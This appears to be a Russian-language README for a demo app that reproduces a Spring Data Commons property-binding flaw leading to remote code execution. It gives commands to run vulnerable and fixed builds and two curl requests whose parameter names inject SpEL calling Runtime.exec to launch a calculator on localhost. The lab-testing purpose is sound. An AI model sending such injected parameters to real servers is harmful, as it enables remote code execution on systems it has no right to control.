
Spring Data Commons, версии до 1.13 до 1.13.10, от 2.0 до 2.0.5 и более старые неподдерживаемые версии, содержат уязвимость связывания свойств, вызванную неправильной нейтрализацией специальных элементов. Неаутентифицированный удаленный злоумышленник может передать специально созданные параметры запроса к HTTP-ресурсам на основе Spring Data REST или использовать привязку полезной нагрузки запроса на основе проекций Spring Data, что может привести к удаленному выполнению кода.
Подробнее здесь
Приложение можно протестировать с уязвимой или исправленной версией Spring Data Commons.
mvn spring-boot:run
mvn spring-boot:run -Dfixed
Выполните следующую команду, чтобы проверить, можно ли эксплуатировать уязвимость:
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test"
Создано https://www.arima.eu
